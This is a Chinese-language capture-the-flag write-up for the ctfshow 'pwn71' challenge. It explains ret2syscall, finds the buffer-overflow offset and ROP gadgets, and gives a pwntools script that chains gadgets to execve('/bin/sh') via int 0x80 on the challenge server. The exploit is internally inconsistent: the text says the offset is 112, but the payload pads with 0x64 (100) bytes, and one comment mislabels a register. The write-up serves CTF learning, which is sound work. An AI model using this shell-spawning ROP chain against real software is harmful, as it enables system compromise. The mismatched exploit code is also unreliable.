yangyunhui

功不唐捐,玉汝于成

ctfshow pwn入门 pwn71

pwn71

ctf.show pwn71

目录


题目

预计时间

2h

题目分析及截图

题目描述是 ret2syscall

ret2syscall原理:

利用 系统调用去进行攻击,核心思想是:控制寄存器+ 跳转syscall

在栈溢出时,我们能控制栈,因此可以构造 ROP链

**32-bit ret2syscall:**eax / ebx / ecx / edx

1
2
3
4
5
eax = "系统调用号"
ebx = "参数1"
ecx = "参数2"
edx = "参数3"
int 0x80

**64-bit ret2syscall:**rax / rdi / rsi / rdx

一句话概括:利用栈溢出构造ROP链执行系统调用


知道原理之后我们就可以去写题了

先checksec ./pwn看一下保护机制

1
2
3
4
5
6
7
8
9
yyh@yyh:~/pwn71$ checksec ./pwn
[*] '/home/yyh/pwn71/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes

发现 NX 开启,即不可执行,我们可以使用 syscall 进行绕过,因为syscall是利用gadget 来进行系统调用的

我们先使用Ida看一下程序的代码
main函数

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("===============CTFshow--PWN===============");
puts("Try to use ret2syscall!");
gets(&v4);
return 0;
}

很明显的栈溢出 gets(&v4);

我们先看需要 填充 的偏移是多少

  1. 我第一次是在ida中看的,int v4; // [esp+1Ch] [ebp-64h] BYREF

    那么offset = 0x64 + 4吗?其实不是的,我是写好exp之后发现打不通,才发现这个offset是不对的

  2. 我们可以使用cyclic来看偏移,这是更准确的方法

    具体操作:

    1. gdb ./pwn

    2. b main

    3. r

    4. cyclic 200

    5. 复制下来这串字符之后

    6. Ctrl + d退出调试

    7. gdb ./pwn

    8. r

    9. 输入这串字符

    10. 得到溢出地址

    11. cyclic -l 0x62616164

    之后我们就得到了偏移地址是112

我们怎么构造ROP链?

首先execve的系统调用号是11 (0xb)

那么如果要执行 “/bin/sh” 的话

  • eax = 11 (0xb) -> execve的系统编号
  • ebx = "/bin/sh" -> 文件名
  • ecx = 0
  • edx = 0
  • int 0x80

Q:int 80 的意思是什么?
A:触发中断 0x80,让 CPU 从用户态切换到内核态执行系统调用。

​ 当然如果我们需要执行这个命令的话就需要寄存器传参,就需要找 gadget 的地址

可以使用ROPgadget命令来找我们所需要的地址

  1. ROPgadget --binary pwn --only "pop|ret" | grep eax
  1. ROPgadget --binary pwn --only "pop|ret" | grep ebx
  1. ROPgadget --binary pwn --only "pop|ret" | grep ecx

到ecx发现并没有pop ecx ; ret

但是我们发现了0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个gadget同样可以使用,并且它正好按顺序帮我设置了 execve 所需的三个寄存器

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

p = remote('pwn.challenge.ctf.show', 28108)
pop_eax = 0x080bb196
pop_edx_ecx_ebx = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x080be408

payload = b'A' * 0x64
#eax = 11
payload += p32(pop_eax)
payload += p32(11)

#edx = 0, ecx = 0, ecx = "/bin/sh"
payload += p32(pop_edx_ecx_ebx)
payload += p32(0) #edx
payload += p32(0) #ecx
payload += p32(binsh) #ebx = "/bin/sh"

#int 0x80
payload += p32(int_0x80)
p.sendline(payload)
p.interactive()

这道题到此就结束了

加油!